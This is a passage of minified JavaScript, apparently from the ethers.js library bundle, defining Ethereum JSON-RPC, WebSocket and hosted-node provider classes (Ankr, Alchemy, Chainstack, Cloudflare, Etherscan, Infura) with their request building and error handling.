this.send("eth_chainId",[])));this.#pendingDetectNetwork=null;return result}catch(error){this.#pendingDetectNetwork=null;throw error}})();return await this.#pendingDetectNetwork}this.#pendingDetectNetwork=(async()=>{const payload={id:this.#nextId++,method:"eth_chainId",params:[],jsonrpc:"2.0"};this.emit("debug",{action:"sendRpcPayload",payload:payload});let result;try{result=(await this._send(payload))[0];this.#pendingDetectNetwork=null}catch(error){this.#pendingDetectNetwork=null;this.emit("debug",{action:"receiveRpcError",error:error});throw error}this.emit("debug",{action:"receiveRpcResult",result:result});if("result"in result){return Network.from(getBigInt(result.result))}throw this.getRpcError(payload,result)})();return await this.#pendingDetectNetwork}_start(){if(this.#notReady==null||this.#notReady.resolve==null){return}this.#notReady.resolve();this.#notReady=null;(async()=>{while(this.#network==null&&!this.destroyed){try{this.#network=await this._detectNetwork()}catch(error){if(this.destroyed){break}console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)");this.emit("error",makeError("failed to bootstrap network detection","NETWORK_ERROR",{event:"initial-network-discovery",info:{error:error}}));await stall$3(1e3)}}this.#scheduleDrain()})()}async _waitUntilReady(){if(this.#notReady==null){return}return await this.#notReady.promise}_getSubscriber(sub){if(sub.type==="pending"){return new FilterIdPendingSubscriber(this)}if(sub.type==="event"){if(this._getOption("polling")){return new PollingEventSubscriber(this,sub.filter)}return new FilterIdEventSubscriber(this,sub.filter)}if(sub.type==="orphan"&&sub.filter.orphan==="drop-log"){return new UnmanagedSubscriber("orphan")}return super._getSubscriber(sub)}get ready(){return this.#notReady==null}getRpcTransaction(tx){const result={};["chainId","gasLimit","gasPrice","type","maxFeePerGas","maxPriorityFeePerGas","nonce","value"].forEach(key=>{if(tx[key]==null){return}let dstKey=key;if(key==="gasLimit"){dstKey="gas"}result[dstKey]=toQuantity(getBigInt(tx[key],`tx.${key}`))});["from","to","data"].forEach(key=>{if(tx[key]==null){return}result[key]=hexlify(tx[key])});if(tx.accessList){result["accessList"]=accessListify(tx.accessList)}if(tx.blobVersionedHashes){result["blobVersionedHashes"]=tx.blobVersionedHashes.map(h=>h.toLowerCase())}if(tx.authorizationList){result["authorizationList"]=tx.authorizationList.map(_a=>{const a=authorizationify(_a);return{address:a.address,nonce:toQuantity(a.nonce),chainId:toQuantity(a.chainId),yParity:toQuantity(a.signature.yParity),r:toQuantity(a.signature.r),s:toQuantity(a.signature.s)}})}return result}getRpcRequest(req){switch(req.method){case"chainId":return{method:"eth_chainId",args:[]};case"getBlockNumber":return{method:"eth_blockNumber",args:[]};case"getGasPrice":return{method:"eth_gasPrice",args:[]};case"getPriorityFee":return{method:"eth_maxPriorityFeePerGas",args:[]};case"getBalance":return{method:"eth_getBalance",args:[getLowerCase(req.address),req.blockTag]};case"getTransactionCount":return{method:"eth_getTransactionCount",args:[getLowerCase(req.address),req.blockTag]};case"getCode":return{method:"eth_getCode",args:[getLowerCase(req.address),req.blockTag]};case"getStorage":return{method:"eth_getStorageAt",args:[getLowerCase(req.address),"0x"+req.position.toString(16),req.blockTag]};case"broadcastTransaction":return{method:"eth_sendRawTransaction",args:[req.signedTransaction]};case"getBlock":if("blockTag"in req){return{method:"eth_getBlockByNumber",args:[req.blockTag,!!req.includeTransactions]}}else if("blockHash"in req){return{method:"eth_getBlockByHash",args:[req.blockHash,!!req.includeTransactions]}}break;case"getTransaction":return{method:"eth_getTransactionByHash",args:[req.hash]};case"getTransactionReceipt":return{method:"eth_getTransactionReceipt",args:[req.hash]};case"call":return{method:"eth_call",args:[this.getRpcTransaction(req.transaction),req.blockTag]};case"estimateGas":{return{method:"eth_estimateGas",args:[this.getRpcTransaction(req.transaction)]}}case"getLogs":if(req.filter&&req.filter.address!=null){if(Array.isArray(req.filter.address)){req.filter.address=req.filter.address.map(getLowerCase)}else{req.filter.address=getLowerCase(req.filter.address)}}return{method:"eth_getLogs",args:[req.filter]}}return null}getRpcError(payload,_error){const{method}=payload;const{error}=_error;if(method==="eth_estimateGas"&&error.message){const msg=error.message;if(!msg.match(/revert/i)&&msg.match(/insufficient funds/i)){return makeError("insufficient funds","INSUFFICIENT_FUNDS",{transaction:payload.params[0],info:{payload:payload,error:error}})}else if(msg.match(/nonce/i)&&msg.match(/too low/i)){return makeError("nonce has already been used","NONCE_EXPIRED",{transaction:payload.params[0],info:{payload:payload,error:error}})}}if(method==="eth_call"||method==="eth_estimateGas"){const result=spelunkData(error);const e=AbiCoder.getBuiltinCallException(method==="eth_call"?"call":"estimateGas",payload.params[0],result?result.data:null);e.info={error:error,payload:payload};return e}const message=JSON.stringify(spelunkMessage(error));if(typeof error.message==="string"&&error.message.match(/user denied|ethers-user-denied/i)){const actionMap={eth_sign:"signMessage",personal_sign:"signMessage",eth_signTypedData_v4:"signTypedData",eth_signTransaction:"signTransaction",eth_sendTransaction:"sendTransaction",eth_requestAccounts:"requestAccess",wallet_requestAccounts:"requestAccess"};return makeError(`user rejected action`,"ACTION_REJECTED",{action:actionMap[method]||"unknown",reason:"rejected",info:{payload:payload,error:error}})}if(method==="eth_sendRawTransaction"||method==="eth_sendTransaction"){const transaction=payload.params[0];if(message.match(/insufficient funds|base fee exceeds gas limit/i)){return makeError("insufficient funds for intrinsic transaction cost","INSUFFICIENT_FUNDS",{transaction:transaction,info:{error:error}})}if(message.match(/nonce/i)&&message.match(/too low/i)){return makeError("nonce has already been used","NONCE_EXPIRED",{transaction:transaction,info:{error:error}})}if(message.match(/replacement transaction/i)&&message.match(/underpriced/i)){return makeError("replacement fee too low","REPLACEMENT_UNDERPRICED",{transaction:transaction,info:{error:error}})}if(message.match(/only replay-protected/i)){return makeError("legacy pre-eip-155 transactions not supported","UNSUPPORTED_OPERATION",{operation:method,info:{transaction:transaction,info:{error:error}}})}}let unsupported=!!message.match(/the method .* does not exist/i);if(!unsupported){if(error&&error.details&&error.details.startsWith("Unauthorized method:")){unsupported=true}}if(unsupported){return makeError("unsupported operation","UNSUPPORTED_OPERATION",{operation:payload.method,info:{error:error,payload:payload}})}return makeError("could not coalesce error","UNKNOWN_ERROR",{error:error,payload:payload})}send(method,params){if(this.destroyed){return Promise.reject(makeError("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:method}))}const id=this.#nextId++;const promise=new Promise((resolve,reject)=>{this.#payloads.push({resolve:resolve,reject:reject,payload:{method:method,params:params,id:id,jsonrpc:"2.0"}})});this.#scheduleDrain();return promise}async getSigner(address){if(address==null){address=0}const accountsPromise=this.send("eth_accounts",[]);if(typeof address==="number"){const accounts=await accountsPromise;if(address>=accounts.length){throw new Error("no such account")}return new JsonRpcSigner(this,accounts[address])}const{accounts}=await resolveProperties({network:this.getNetwork(),accounts:accountsPromise});address=getAddress(address);for(const account of accounts){if(getAddress(account)===address){return new JsonRpcSigner(this,address)}}throw new Error("invalid account")}async listAccounts(){const accounts=await this.send("eth_accounts",[]);return accounts.map(a=>new JsonRpcSigner(this,a))}destroy(){if(this.#drainTimer){clearTimeout(this.#drainTimer);this.#drainTimer=null}for(const{payload,reject}of this.#payloads){reject(makeError("provider destroyed; cancelled request","UNSUPPORTED_OPERATION",{operation:payload.method}))}this.#payloads=[];super.destroy()}}class JsonRpcApiPollingProvider extends JsonRpcApiProvider{#pollingInterval;constructor(network,options){super(network,options);let pollingInterval=this._getOption("pollingInterval");if(pollingInterval==null){pollingInterval=defaultOptions.pollingInterval}this.#pollingInterval=pollingInterval}_getSubscriber(sub){const subscriber=super._getSubscriber(sub);if(isPollable(subscriber)){subscriber.pollingInterval=this.#pollingInterval}return subscriber}get pollingInterval(){return this.#pollingInterval}set pollingInterval(value){if(!Number.isInteger(value)||value<0){throw new Error("invalid interval")}this.#pollingInterval=value;this._forEachSubscriber(sub=>{if(isPollable(sub)){sub.pollingInterval=this.#pollingInterval}})}}class JsonRpcProvider extends JsonRpcApiPollingProvider{#connect;constructor(url,network,options){if(url==null){url="http://localhost:8545"}super(network,options);if(typeof url==="string"){this.#connect=new FetchRequest(url)}else{this.#connect=url.clone()}}_getConnection(){return this.#connect.clone()}async send(method,params){await this._start();return await super.send(method,params)}async _send(payload){const request=this._getConnection();request.body=JSON.stringify(payload);request.setHeader("content-type","application/json");const response=await request.send();response.assertOk();let resp=response.bodyJson;if(!Array.isArray(resp)){resp=[resp]}return resp}}function spelunkData(value){if(value==null){return null}if(typeof value.message==="string"&&value.message.match(/revert/i)&&isHexString(value.data)){return{message:value.message,data:value.data}}if(typeof value==="object"){for(const key in value){const result=spelunkData(value[key]);if(result){return result}}return null}if(typeof value==="string"){try{return spelunkData(JSON.parse(value))}catch(error){}}return null}function _spelunkMessage(value,result){if(value==null){return}if(typeof value.message==="string"){result.push(value.message)}if(typeof value==="object"){for(const key in value){_spelunkMessage(value[key],result)}}if(typeof value==="string"){try{return _spelunkMessage(JSON.parse(value),result)}catch(error){}}}function spelunkMessage(value){const result=[];_spelunkMessage(value,result);return result}const defaultApiKey$1="9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972";function getHost$5(name){switch(name){case"mainnet":return"rpc.ankr.com/eth";case"goerli":return"rpc.ankr.com/eth_goerli";case"sepolia":return"rpc.ankr.com/eth_sepolia";case"arbitrum":return"rpc.ankr.com/arbitrum";case"base":return"rpc.ankr.com/base";case"base-goerli":return"rpc.ankr.com/base_goerli";case"base-sepolia":return"rpc.ankr.com/base_sepolia";case"bnb":return"rpc.ankr.com/bsc";case"bnbt":return"rpc.ankr.com/bsc_testnet_chapel";case"matic":return"rpc.ankr.com/polygon";case"matic-mumbai":return"rpc.ankr.com/polygon_mumbai";case"optimism":return"rpc.ankr.com/optimism";case"optimism-goerli":return"rpc.ankr.com/optimism_testnet";case"optimism-sepolia":return"rpc.ankr.com/optimism_sepolia"}assertArgument(false,"unsupported network","network",name)}class AnkrProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=defaultApiKey$1}const options={polling:true,staticNetwork:network};const request=AnkrProvider.getRequest(network,apiKey);super(request,network,options);defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new AnkrProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}static getRequest(network,apiKey){if(apiKey==null){apiKey=defaultApiKey$1}const request=new FetchRequest(`https:/\/${getHost$5(network.name)}/${apiKey}`);request.allowGzip=true;if(apiKey===defaultApiKey$1){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("AnkrProvider");return true}}return request}getRpcError(payload,error){if(payload.method==="eth_sendRawTransaction"){if(error&&error.error&&error.error.message==="INTERNAL_ERROR: could not replace existing tx"){error.error.message="replacement transaction underpriced"}}return super.getRpcError(payload,error)}isCommunityResource(){return this.apiKey===defaultApiKey$1}}const defaultApiKey="_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC";function getHost$4(name){switch(name){case"mainnet":return"eth-mainnet.alchemyapi.io";case"goerli":return"eth-goerli.g.alchemy.com";case"sepolia":return"eth-sepolia.g.alchemy.com";case"arbitrum":return"arb-mainnet.g.alchemy.com";case"arbitrum-goerli":return"arb-goerli.g.alchemy.com";case"arbitrum-sepolia":return"arb-sepolia.g.alchemy.com";case"base":return"base-mainnet.g.alchemy.com";case"base-goerli":return"base-goerli.g.alchemy.com";case"base-sepolia":return"base-sepolia.g.alchemy.com";case"matic":return"polygon-mainnet.g.alchemy.com";case"matic-amoy":return"polygon-amoy.g.alchemy.com";case"matic-mumbai":return"polygon-mumbai.g.alchemy.com";case"optimism":return"opt-mainnet.g.alchemy.com";case"optimism-goerli":return"opt-goerli.g.alchemy.com";case"optimism-sepolia":return"opt-sepolia.g.alchemy.com"}assertArgument(false,"unsupported network","network",name)}class AlchemyProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=defaultApiKey}const request=AlchemyProvider.getRequest(network,apiKey);super(request,network,{staticNetwork:network});defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new AlchemyProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}async _perform(req){if(req.method==="getTransactionResult"){const{trace,tx}=await resolveProperties({trace:this.send("trace_transaction",[req.hash]),tx:this.getTransaction(req.hash)});if(trace==null||tx==null){return null}let data;let error=false;try{data=trace[0].result.output;error=trace[0].error==="Reverted"}catch(error){}if(data){assert(!error,"an error occurred during transaction executions","CALL_EXCEPTION",{action:"getTransactionResult",data:data,reason:null,transaction:tx,invocation:null,revert:null});return data}assert(false,"could not parse trace result","BAD_DATA",{value:trace})}return await super._perform(req)}isCommunityResource(){return this.apiKey===defaultApiKey}static getRequest(network,apiKey){if(apiKey==null){apiKey=defaultApiKey}const request=new FetchRequest(`https:/\/${getHost$4(network.name)}/v2/${apiKey}`);request.allowGzip=true;if(apiKey===defaultApiKey){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("alchemy");return true}}return request}}function getApiKey(name){switch(name){case"mainnet":return"39f1d67cedf8b7831010a665328c9197";case"arbitrum":return"0550c209db33c3abf4cc927e1e18cea1";case"bnb":return"98b5a77e531614387366f6fc5da097f8";case"matic":return"cd9d4d70377471aa7c142ec4a4205249"}assertArgument(false,"unsupported network","network",name)}function getHost$3(name){switch(name){case"mainnet":return"ethereum-mainnet.core.chainstack.com";case"arbitrum":return"arbitrum-mainnet.core.chainstack.com";case"bnb":return"bsc-mainnet.core.chainstack.com";case"matic":return"polygon-mainnet.core.chainstack.com"}assertArgument(false,"unsupported network","network",name)}class ChainstackProvider extends JsonRpcProvider{apiKey;constructor(_network,apiKey){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(apiKey==null){apiKey=getApiKey(network.name)}const request=ChainstackProvider.getRequest(network,apiKey);super(request,network,{staticNetwork:network});defineProperties(this,{apiKey:apiKey})}_getProvider(chainId){try{return new ChainstackProvider(chainId,this.apiKey)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.apiKey===getApiKey(this._network.name)}static getRequest(network,apiKey){if(apiKey==null){apiKey=getApiKey(network.name)}const request=new FetchRequest(`https:/\/${getHost$3(network.name)}/${apiKey}`);request.allowGzip=true;if(apiKey===getApiKey(network.name)){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("ChainstackProvider");return true}}return request}}class CloudflareProvider extends JsonRpcProvider{constructor(_network){if(_network==null){_network="mainnet"}const network=Network.from(_network);assertArgument(network.name==="mainnet","unsupported network","network",_network);super("https://cloudflare-eth.com/",network,{staticNetwork:network})}}const THROTTLE=2e3;function isPromise(value){return value&&typeof value.then==="function"}const EtherscanPluginId="org.ethers.plugins.provider.Etherscan";class EtherscanPlugin extends NetworkPlugin{baseUrl;constructor(baseUrl){super(EtherscanPluginId);defineProperties(this,{baseUrl:baseUrl})}clone(){return new EtherscanPlugin(this.baseUrl)}}const skipKeys=["enableCcipRead"];let nextId=1;class EtherscanProvider extends AbstractProvider{network;apiKey;#plugin;constructor(_network,_apiKey){const apiKey=_apiKey!=null?_apiKey:null;super();const network=Network.from(_network);this.#plugin=network.getPlugin(EtherscanPluginId);defineProperties(this,{apiKey:apiKey,network:network})}getBaseUrl(){if(this.#plugin){return this.#plugin.baseUrl}switch(this.network.name){case"mainnet":return"https://api.etherscan.io";case"goerli":return"https://api-goerli.etherscan.io";case"sepolia":return"https://api-sepolia.etherscan.io";case"holesky":return"https://api-holesky.etherscan.io";case"arbitrum":return"https://api.arbiscan.io";case"arbitrum-goerli":return"https://api-goerli.arbiscan.io";case"base":return"https://api.basescan.org";case"base-sepolia":return"https://api-sepolia.basescan.org";case"bnb":return"https://api.bscscan.com";case"bnbt":return"https://api-testnet.bscscan.com";case"matic":return"https://api.polygonscan.com";case"matic-amoy":return"https://api-amoy.polygonscan.com";case"matic-mumbai":return"https://api-testnet.polygonscan.com";case"optimism":return"https://api-optimistic.etherscan.io";case"optimism-goerli":return"https://api-goerli-optimistic.etherscan.io"}assertArgument(false,"unsupported network","network",this.network)}getUrl(module,params){let query=Object.keys(params).reduce((accum,key)=>{const value=params[key];if(value!=null){accum+=`&${key}=${value}`}return accum},"");if(this.apiKey){query+=`&apikey=${this.apiKey}`}return`https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`}getPostUrl(){return`https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`}getPostData(module,params){params.module=module;params.apikey=this.apiKey;params.chainid=this.network.chainId;return params}async detectNetwork(){return this.network}async fetch(module,params,post){const id=nextId++;const url=post?this.getPostUrl():this.getUrl(module,params);const payload=post?this.getPostData(module,params):null;this.emit("debug",{action:"sendRequest",id:id,url:url,payload:payload});const request=new FetchRequest(url);request.setThrottleParams({slotInterval:1e3});request.retryFunc=(req,resp,attempt)=>{if(this.isCommunityResource()){showThrottleMessage("Etherscan")}return Promise.resolve(true)};request.processFunc=async(request,response)=>{const result=response.hasBody()?JSON.parse(toUtf8String(response.body)):{};const throttle=(typeof result.result==="string"?result.result:"").toLowerCase().indexOf("rate limit")>=0;if(module==="proxy"){if(result&&result.status==0&&result.message=="NOTOK"&&throttle){this.emit("debug",{action:"receiveError",id:id,reason:"proxy-NOTOK",error:result});response.throwThrottleError(result.result,THROTTLE)}}else{if(throttle){this.emit("debug",{action:"receiveError",id:id,reason:"null result",error:result.result});response.throwThrottleError(result.result,THROTTLE)}}return response};if(payload){request.setHeader("content-type","application/x-www-form-urlencoded; charset=UTF-8");request.body=Object.keys(payload).map(k=>`${k}=${payload[k]}`).join("&")}const response=await request.send();try{response.assertOk()}catch(error){this.emit("debug",{action:"receiveError",id:id,error:error,reason:"assertOk"});assert(false,"response error","SERVER_ERROR",{request:request,response:response})}if(!response.hasBody()){this.emit("debug",{action:"receiveError",id:id,error:"missing body",reason:"null body"});assert(false,"missing response","SERVER_ERROR",{request:request,response:response})}const result=JSON.parse(toUtf8String(response.body));if(module==="proxy"){if(result.jsonrpc!="2.0"){this.emit("debug",{action:"receiveError",id:id,result:result,reason:"invalid JSON-RPC"});assert(false,"invalid JSON-RPC response (missing jsonrpc='2.0')","SERVER_ERROR",{request:request,response:response,info:{result:result}})}if(result.error){this.emit("debug",{action:"receiveError",id:id,result:result,reason:"JSON-RPC error"});assert(false,"error response","SERVER_ERROR",{request:request,response:response,info:{result:result}})}this.emit("debug",{action:"receiveRequest",id:id,result:result});return result.result}else{if(result.status==0&&(result.message==="No records found"||result.message==="No transactions found")){this.emit("debug",{action:"receiveRequest",id:id,result:result});return result.result}if(result.status!=1||typeof result.message==="string"&&!result.message.match(/^OK/)){this.emit("debug",{action:"receiveError",id:id,result:result});assert(false,"error response","SERVER_ERROR",{request:request,response:response,info:{result:result}})}this.emit("debug",{action:"receiveRequest",id:id,result:result});return result.result}}_getTransactionPostData(transaction){const result={};for(let key in transaction){if(skipKeys.indexOf(key)>=0){continue}if(transaction[key]==null){continue}let value=transaction[key];if(key==="type"&&value===0){continue}if(key==="blockTag"&&value==="latest"){continue}if({type:true,gasLimit:true,gasPrice:true,maxFeePerGs:true,maxPriorityFeePerGas:true,nonce:true,value:true}[key]){value=toQuantity(value)}else if(key==="accessList"){value="["+accessListify(value).map(set=>{return`{address:"${set.address}",storageKeys:["${set.storageKeys.join('","')}"]}`}).join(",")+"]"}else if(key==="blobVersionedHashes"){if(value.length===0){continue}assert(false,"Etherscan API does not support blobVersionedHashes","UNSUPPORTED_OPERATION",{operation:"_getTransactionPostData",info:{transaction:transaction}})}else{value=hexlify(value)}result[key]=value}return result}_checkError(req,error,transaction){let message="";if(isError(error,"SERVER_ERROR")){try{message=error.info.result.error.message}catch(e){}if(!message){try{message=error.info.message}catch(e){}}}if(req.method==="estimateGas"){if(!message.match(/revert/i)&&message.match(/insufficient funds/i)){assert(false,"insufficient funds","INSUFFICIENT_FUNDS",{transaction:req.transaction})}}if(req.method==="call"||req.method==="estimateGas"){if(message.match(/execution reverted/i)){let data="";try{data=error.info.result.error.data}catch(error){}const e=AbiCoder.getBuiltinCallException(req.method,req.transaction,data);e.info={request:req,error:error};throw e}}if(message){if(req.method==="broadcastTransaction"){const transaction=Transaction.from(req.signedTransaction);if(message.match(/replacement/i)&&message.match(/underpriced/i)){assert(false,"replacement fee too low","REPLACEMENT_UNDERPRICED",{transaction:transaction})}if(message.match(/insufficient funds/)){assert(false,"insufficient funds for intrinsic transaction cost","INSUFFICIENT_FUNDS",{transaction:transaction})}if(message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)){assert(false,"nonce has already been used","NONCE_EXPIRED",{transaction:transaction})}}}throw error}async _detectNetwork(){return this.network}async _perform(req){switch(req.method){case"chainId":return this.network.chainId;case"getBlockNumber":return this.fetch("proxy",{action:"eth_blockNumber"});case"getGasPrice":return this.fetch("proxy",{action:"eth_gasPrice"});case"getPriorityFee":if(this.network.name==="mainnet"){return"1000000000"}else if(this.network.name==="optimism"){return"1000000"}else{throw new Error("fallback onto the AbstractProvider default")}case"getBalance":return this.fetch("account",{action:"balance",address:req.address,tag:req.blockTag});case"getTransactionCount":return this.fetch("proxy",{action:"eth_getTransactionCount",address:req.address,tag:req.blockTag});case"getCode":return this.fetch("proxy",{action:"eth_getCode",address:req.address,tag:req.blockTag});case"getStorage":return this.fetch("proxy",{action:"eth_getStorageAt",address:req.address,position:req.position,tag:req.blockTag});case"broadcastTransaction":return this.fetch("proxy",{action:"eth_sendRawTransaction",hex:req.signedTransaction},true).catch(error=>{return this._checkError(req,error,req.signedTransaction)});case"getBlock":if("blockTag"in req){return this.fetch("proxy",{action:"eth_getBlockByNumber",tag:req.blockTag,boolean:req.includeTransactions?"true":"false"})}assert(false,"getBlock by blockHash not supported by Etherscan","UNSUPPORTED_OPERATION",{operation:"getBlock(blockHash)"});case"getTransaction":return this.fetch("proxy",{action:"eth_getTransactionByHash",txhash:req.hash});case"getTransactionReceipt":return this.fetch("proxy",{action:"eth_getTransactionReceipt",txhash:req.hash});case"call":{if(req.blockTag!=="latest"){throw new Error("EtherscanProvider does not support blockTag for call")}const postData=this._getTransactionPostData(req.transaction);postData.module="proxy";postData.action="eth_call";try{return await this.fetch("proxy",postData,true)}catch(error){return this._checkError(req,error,req.transaction)}}case"estimateGas":{const postData=this._getTransactionPostData(req.transaction);postData.module="proxy";postData.action="eth_estimateGas";try{return await this.fetch("proxy",postData,true)}catch(error){return this._checkError(req,error,req.transaction)}}}return super._perform(req)}async getNetwork(){return this.network}async getEtherPrice(){if(this.network.name!=="mainnet"){return 0}return parseFloat((await this.fetch("stats",{action:"ethprice"})).ethusd)}async getContract(_address){let address=this._getAddress(_address);if(isPromise(address)){address=await address}try{const resp=await this.fetch("contract",{action:"getabi",address:address});const abi=JSON.parse(resp);return new Contract(address,abi,this)}catch(error){return null}}isCommunityResource(){return this.apiKey==null}}function getGlobal(){if(typeof self!=="undefined"){return self}if(typeof window!=="undefined"){return window}if(typeof global!=="undefined"){return global}throw new Error("unable to locate global object")}const _WebSocket=getGlobal().WebSocket;class SocketSubscriber{#provider;#filter;get filter(){return JSON.parse(this.#filter)}#filterId;#paused;#emitPromise;constructor(provider,filter){this.#provider=provider;this.#filter=JSON.stringify(filter);this.#filterId=null;this.#paused=null;this.#emitPromise=null}start(){this.#filterId=this.#provider.send("eth_subscribe",this.filter).then(filterId=>{this.#provider._register(filterId,this);return filterId})}stop(){this.#filterId.then(filterId=>{if(this.#provider.destroyed){return}this.#provider.send("eth_unsubscribe",[filterId])});this.#filterId=null}pause(dropWhilePaused){assert(dropWhilePaused,"preserve logs while paused not supported by SocketSubscriber yet","UNSUPPORTED_OPERATION",{operation:"pause(false)"});this.#paused=!!dropWhilePaused}resume(){this.#paused=null}_handleMessage(message){if(this.#filterId==null){return}if(this.#paused===null){let emitPromise=this.#emitPromise;if(emitPromise==null){emitPromise=this._emit(this.#provider,message)}else{emitPromise=emitPromise.then(async()=>{await this._emit(this.#provider,message)})}this.#emitPromise=emitPromise.then(()=>{if(this.#emitPromise===emitPromise){this.#emitPromise=null}})}}async _emit(provider,message){throw new Error("sub-classes must implemente this; _emit")}}class SocketBlockSubscriber extends SocketSubscriber{constructor(provider){super(provider,["newHeads"])}async _emit(provider,message){provider.emit("block",parseInt(message.number))}}class SocketPendingSubscriber extends SocketSubscriber{constructor(provider){super(provider,["newPendingTransactions"])}async _emit(provider,message){provider.emit("pending",message)}}class SocketEventSubscriber extends SocketSubscriber{#logFilter;get logFilter(){return JSON.parse(this.#logFilter)}constructor(provider,filter){super(provider,["logs",filter]);this.#logFilter=JSON.stringify(filter)}async _emit(provider,message){provider.emit(this.logFilter,provider._wrapLog(message,provider._network))}}class SocketProvider extends JsonRpcApiProvider{#callbacks;#subs;#pending;constructor(network,_options){const options=Object.assign({},_options!=null?_options:{});assertArgument(options.batchMaxCount==null||options.batchMaxCount===1,"sockets-based providers do not support batches","options.batchMaxCount",_options);options.batchMaxCount=1;if(options.staticNetwork==null){options.staticNetwork=true}super(network,options);this.#callbacks=new Map;this.#subs=new Map;this.#pending=new Map}_getSubscriber(sub){switch(sub.type){case"close":return new UnmanagedSubscriber("close");case"block":return new SocketBlockSubscriber(this);case"pending":return new SocketPendingSubscriber(this);case"event":return new SocketEventSubscriber(this,sub.filter);case"orphan":if(sub.filter.orphan==="drop-log"){return new UnmanagedSubscriber("drop-log")}}return super._getSubscriber(sub)}_register(filterId,subscriber){this.#subs.set(filterId,subscriber);const pending=this.#pending.get(filterId);if(pending){for(const message of pending){subscriber._handleMessage(message)}this.#pending.delete(filterId)}}async _send(payload){assertArgument(!Array.isArray(payload),"WebSocket does not support batch send","payload",payload);const promise=new Promise((resolve,reject)=>{this.#callbacks.set(payload.id,{payload:payload,resolve:resolve,reject:reject})});await this._waitUntilReady();await this._write(JSON.stringify(payload));return[await promise]}async _processMessage(message){const result=JSON.parse(message);if(result&&typeof result==="object"&&"id"in result){const callback=this.#callbacks.get(result.id);if(callback==null){this.emit("error",makeError("received result for unknown id","UNKNOWN_ERROR",{reasonCode:"UNKNOWN_ID",result:result}));return}this.#callbacks.delete(result.id);callback.resolve(result)}else if(result&&result.method==="eth_subscription"){const filterId=result.params.subscription;const subscriber=this.#subs.get(filterId);if(subscriber){subscriber._handleMessage(result.params.result)}else{let pending=this.#pending.get(filterId);if(pending==null){pending=[];this.#pending.set(filterId,pending)}pending.push(result.params.result)}}else{this.emit("error",makeError("received unexpected message","UNKNOWN_ERROR",{reasonCode:"UNEXPECTED_MESSAGE",result:result}));return}}async _write(message){throw new Error("sub-classes must override this")}}class WebSocketProvider extends SocketProvider{#connect;#websocket;get websocket(){if(this.#websocket==null){throw new Error("websocket closed")}return this.#websocket}constructor(url,network,options){super(network,options);if(typeof url==="string"){this.#connect=()=>{return new _WebSocket(url)};this.#websocket=this.#connect()}else if(typeof url==="function"){this.#connect=url;this.#websocket=url()}else{this.#connect=null;this.#websocket=url}this.websocket.onopen=async()=>{try{await this._start();this.resume()}catch(error){console.log("failed to start WebsocketProvider",error)}};this.websocket.onmessage=message=>{this._processMessage(message.data)}}async _write(message){this.websocket.send(message)}async destroy(){if(this.#websocket!=null){this.#websocket.close();this.#websocket=null}super.destroy()}}const defaultProjectId="84842078b09946638c03157f83405213";function getHost$2(name){switch(name){case"mainnet":return"mainnet.infura.io";case"goerli":return"goerli.infura.io";case"sepolia":return"sepolia.infura.io";case"arbitrum":return"arbitrum-mainnet.infura.io";case"arbitrum-goerli":return"arbitrum-goerli.infura.io";case"arbitrum-sepolia":return"arbitrum-sepolia.infura.io";case"base":return"base-mainnet.infura.io";case"base-goerlia":case"base-goerli":return"base-goerli.infura.io";case"base-sepolia":return"base-sepolia.infura.io";case"bnb":return"bsc-mainnet.infura.io";case"bnbt":return"bsc-testnet.infura.io";case"linea":return"linea-mainnet.infura.io";case"linea-goerli":return"linea-goerli.infura.io";case"linea-sepolia":return"linea-sepolia.infura.io";case"matic":return"polygon-mainnet.infura.io";case"matic-amoy":return"polygon-amoy.infura.io";case"matic-mumbai":return"polygon-mumbai.infura.io";case"optimism":return"optimism-mainnet.infura.io";case"optimism-goerli":return"optimism-goerli.infura.io";case"optimism-sepolia":return"optimism-sepolia.infura.io"}assertArgument(false,"unsupported network","network",name)}class InfuraWebSocketProvider extends WebSocketProvider{projectId;projectSecret;constructor(network,projectId){const provider=new InfuraProvider(network,projectId);const req=provider._getConnection();assert(!req.credentials,"INFURA WebSocket project secrets unsupported","UNSUPPORTED_OPERATION",{operation:"InfuraProvider.getWebSocketProvider()"});const url=req.url.replace(/^http/i,"ws").replace("/v3/","/ws/v3/");super(url,provider._network);defineProperties(this,{projectId:provider.projectId,projectSecret:provider.projectSecret})}isCommunityResource(){return this.projectId===defaultProjectId}}class InfuraProvider extends JsonRpcProvider{projectId;projectSecret;constructor(_network,projectId,projectSecret){if(_network==null){_network="mainnet"}const network=Network.from(_network);if(projectId==null){projectId=defaultProjectId}if(projectSecret==null){projectSecret=null}const request=InfuraProvider.getRequest(network,projectId,projectSecret);super(request,network,{staticNetwork:network});defineProperties(this,{projectId:projectId,projectSecret:projectSecret})}_getProvider(chainId){try{return new InfuraProvider(chainId,this.projectId,this.projectSecret)}catch(error){}return super._getProvider(chainId)}isCommunityResource(){return this.projectId===defaultProjectId}static getWebSocketProvider(network,projectId){return new InfuraWebSocketProvider(network,projectId)}static getRequest(network,projectId,projectSecret){if(projectId==null){projectId=defaultProjectId}if(projectSecret==null){projectSecret=null}const request=new FetchRequest(`https:/\/${getHost$2(network.name)}/v3/${projectId}`);request.allowGzip=true;if(projectSecret){request.setCredentials("",projectSecret)}if(projectId===defaultProjectId){request.retryFunc=async(request,response,attempt)=>{showThrottleMessage("InfuraProvider");return true}}return request}}const defaultToken="919b412a057b5e9c9b6dce193c5a60242d6efadb";function 